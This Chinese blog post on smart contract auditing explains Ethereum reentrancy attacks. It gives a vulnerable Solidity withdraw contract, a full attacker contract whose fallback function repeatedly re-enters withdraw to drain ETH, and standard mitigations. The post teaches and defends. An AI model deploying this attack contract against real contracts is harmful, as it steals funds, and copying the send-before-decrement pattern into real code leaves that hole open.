My Avatar

毕竟话少

业精于勤荒于嬉,行成于思毁于随!

智能合约审计-重入攻击

2020年1月8日 星期三, 发表于 合肥

如果你对本文有任何的建议或者疑问, 可以在 这里给我提 Issues, 谢谢! :)

描述:漏洞合约中某个函数中,使用call()方法发送eth,若eth的接收者为一个合约地址,则会触发该合约的fallback()函数。若该合约是攻击者的恶意合约,攻击者可以在fallback()函数中重新调用漏洞合约的上述函数,导致重入攻击

核心问题:重要的合约变量在“重入”的过程中没有被修改,从而绕过了限制

Fallback函数

概念: 回退函数,是合约里的特殊无名函数,有且仅有一个。它在合约调用没有匹配到函数签名,或者调用没有带任何数据时被自动调用。

触发场景:

漏洞流程

重入漏洞

漏洞合约分析

pragma solidity ^0.4.24;

contract ReentrancyGame {

  mapping (address => uint) public credit; //credit表示存储用户的余额

  event Deposit(address _who, uint value);  //Deposit表示充值
  event Withdraw(address _who, uint value);
    
  function deposit() payable public returns (bool) {
    credit[msg.sender] += msg.value; //credit调用deposit()函数进行充值使用msg.value进行ETH发送
    emit Deposit(msg.sender, msg.value);
    return true;
  }
    
  function withdraw(uint amount) public returns (bool) { //withdraw提币函数
    if (credit[msg.sender]>= amount) {
      msg.sender.call.value(amount)();
      credit[msg.sender]-=amount;
      emit Withdraw(msg.sender, amount);
      return true;
    }
    return false;
  }  

  function creditOf(address to) public returns (uint) {
    return credit[to];
  }
}

漏洞点:从提币开始,首先校验credit是否大于amount(本次提现的ETH),然后使用call.value进行转账,然后再扣除余额。这里漏洞点就出在我们先使用call.value对用户进行转账,然后再减少余额。就是因为这种情况,攻击者可以反复进行withdraw(),在进入withdraw()之前,第一步的校验仍然有效,在进入withdraw()之后,credit(余额)并没有减少,第一步的校验仍然有效,攻击者才能源源不断的从合约中提取ETH

攻击者合约

pragma solidity ^0.4.24;

contract ReentrancyGame {

  mapping (address => uint) public credit;

  event Deposit(address _who, uint value);
  event Withdraw(address _who, uint value);
    
  function deposit() payable public returns (bool) {
    credit[msg.sender] += msg.value;
    emit Deposit(msg.sender, msg.value);
    return true;
  }
    
  function withdraw(uint amount) public returns (bool) {
    if (credit[msg.sender]>= amount) {
      msg.sender.call.value(amount)();
      credit[msg.sender]-=amount;
      emit Withdraw(msg.sender, amount);
      return true;
    }
    return false;
  }  

  function creditOf(address to) public returns (uint) {
    return credit[to];
  }
  
  function checkBalance() public constant returns (uint){
      return this.balance;
  }
}

contract ReentrancyAttack {   //调用attack()函数对漏洞合约进行远远不断的偷取ETH
  ReentrancyGame public regame;
  address owner;

  function ReentrancyAttack (ReentrancyGame addr) payable { 
    owner = msg.sender;
    regame = addr;
  }

  function attack() public returns (bool){
    regame.deposit.value(1)();
    regame.withdraw(1);
    return true;
  }
  
  function geteth() public returns (bool){ 
    owner.transfer(this.balance); 
    return true;
  }

  function checkBalance() public constant returns (uint){
      return this.balance;
  }

  function() public payable { 
    regame.withdraw(1); 
  }
}

使用Remix进行调试

  1. 在将 Ether 发送给外部合约时使用内置的 transfer() 函数 。transfer转账功能只发送 2300 gas 不足以使目的地址/合约调用另一份合约(即重入发送合约)。

  2. 引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。

  3. 将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为 检查效果交互(checks-effects-interactions) 模式。